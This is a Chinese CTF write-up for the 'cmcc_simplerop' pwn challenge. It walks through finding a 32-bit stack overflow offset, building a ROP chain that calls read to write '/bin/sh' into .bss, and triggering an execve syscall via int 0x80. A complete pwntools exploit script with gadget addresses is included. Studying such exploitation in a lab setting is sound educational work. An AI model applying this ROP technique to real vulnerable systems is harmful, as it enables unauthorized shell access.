这是一道系统调用+rop的题。

  先来就检查一下保护。

  32位程序,只开启了堆栈不可执行。ida看一下伪代码。

  代码也很简洁,就是直接让你溢出。这里ida反汇编显示的v4具体ebp的距离是0x14,再加上0x8也就是0x1c就到返回地址了,但是在实际上,偏移不是这么多。这里我们用pwndbg测试。首先cyclic生成一些数字。

  

  用pwndbg调试。

  这里测出偏移是32,也就是距离返回地址是0x20。

  接下来就是看看有些什么我们可以利用的函数吧!

  首先就是可以看见有int 0x80,我们可以系统调用,关于系统调用的指令,我们可以参考这个博客,总结的很全。

https://blog.csdn.net/xiaominthere/article/details/17287965

  接下来就是我们需要找一些通用的可以给寄存器赋值的命令。

 

 

  在这里们我选择这两条,因为系统调用,需要我们执行这样的命令。

  int80(11,"/bin/sh",null,null)

  后面的四个参数分别是eax、ebx、ecx、edx。

  所以上面的两条命令刚刚好。

  接下来就是想办法找binsh的字符串,这道题是找不到的,需要我们自己输入。输入就需要调用函数,一般我们是选择调用read函数,将binsh字符串写入bss段,直接调用,而且这道题没有开启pie,bss的地址就是绝对地址。

  我刚开始想着read函数也用系统调用,但是在左边的函数列表中搜了一下,发现了read函数。这样我们就是可以直接调用read函数了。

  数据也找的差不多了,这个时候我们就可以写exp了,主要就是payload的写法,这里单独拿出来说一下。

1 payload = 'a'*0x20 + p32(read_addr) + p32(pop_pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)

  返回到read函数,read函数的返回地址用三个pop代替,整好将read函数的三个参数弹出栈,这样就可以执行下面的斯通调用了,这里就是很简单的read函数,不过这里我们需要在控制端手动输入binsh字符串。

1 payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)

  接下来就是给四个寄存器赋值并且进行系统调用了。

贴一下完整的exp:

 1 from pwn import *
2
3 p = process('./simplerop')
4 context.log_level = 'debug'
5
6 p.recv()
7 int_addr = 0x080493e1
8 pop_eax = 0x080bae06
9 read_addr= 0x0806CD50
10 binsh_addr = 0x080EB584
11 pop_edx_ecx_ebx = 0x0806e850
12
13 payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
14 payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)
15
16 p.sendline(payload)
17 p.send('/bin/sh\x00')
18 p.interactive()
19 p.close()

 

  运行一下

  一道题学习到了好多。。。一天一包烟,一道pwn题做一天!

cmcc_simplerop的更多相关文章

  1. 指针生产网络(Pointer-Generator-Network)原理与实战

    0 前言 本文内容主要:介绍Pointer-Generator-Network在文本摘要任务中的背景,模型架构与原理.在中英文数据集上实战效果与评估,最后得出结论.参考的<Get To The ...

  2. [BUUCTF]PWN——CmmC_Simplerop

    cmcc_simplerop 附件 步骤 例行检查,32位,开启了nx保护 本地试运行一下程序,查看一下大概的情况 32位ida载入,习惯性的检索程序里的字符串,看了个寂寞,从main函数开始看程序 ...

随机推荐

  1. [loj6278]数列分块入门2

    做法1 以$K$为块大小分块,并对每一个块再维护一个排序后的结果,预处理复杂度为$o(n\log K )$ 区间修改时将整块打上标记,散块暴力修改并归并排序,单次复杂度为$o(\frac{n}{K}+ ...

  2. [loj3031]聚会

    对于一棵树(初始仅包含节点0),不断加入一个不在树中的节点$u$(不需要随机),并维护这棵树 具体的,对这棵树点分治,假设当前重心$v$有$d$个子树,假设其中第$i$个子树根为$r_{i}$,子树大 ...

  3. [uoj272]石家庄的工人阶级队伍比较坚强

    假设$x,y\in \{0,1,2\}$,则$x$能赢$y$(根据题中定义)当且仅当$x-y\equiv 1(mod\ 3)$ 定义$\ominus$为两数3进制下不退位的减法,$S_{x}$表示$x ...

  4. idea 的git代码回退回某个版本

    intellij idea 的git代码回退回滚 找到Reset HEAD 填写提交码,注意这里要选择"hard" 使用命令行强制提交代码 git push -f

  5. springboot和springcloud版本上的选择

    现在的springboot项目和cloud版本都是更新很快,但我们开发不是版本越新越好,我们要把版本对应起来,那么我们怎么去关联呢? springboot和springcloud不是越新越好,clou ...

  6. Java ArrayList小记

    1.基本用法 ArrayList是一个泛型容器,新建ArrayList需要实例化泛型参数,比如: ArrayList<String> StrList = new ArrayList< ...

  7. 贪心/构造/DP 杂题选做Ⅱ

    由于换了台电脑,而我的贪心 & 构造能力依然很拉跨,所以决定再开一个坑( 前传: 贪心/构造/DP 杂题选做 u1s1 我预感还有Ⅲ(欸,这不是我在多项式Ⅱ中说过的原话吗) 24. P5912 ...

  8. #10470. 「2020-10-02 提高模拟赛」流水线 (line)

    题面:#10470. 「2020-10-02 提高模拟赛」流水线 (line) 题目中的那么多区间的条件让人感觉极其难以维护,而且贪心的做法感觉大多都能 hack 掉,因此考虑寻找一些性质,然后再设计 ...

  9. 我的分布式微服务框架:YC-Framework

    YC-Framework官方文档:http://framework.youcongtech.com/ YC-Framework源代码:https://github.com/developers-you ...

  10. 日常Java 2021/10/20

    Java提供了一套实现Collection接口的标准集合类 bstractCollection 实现了大部分的集合接口. AbstractList 继承于AbstractCollection并且实现了 ...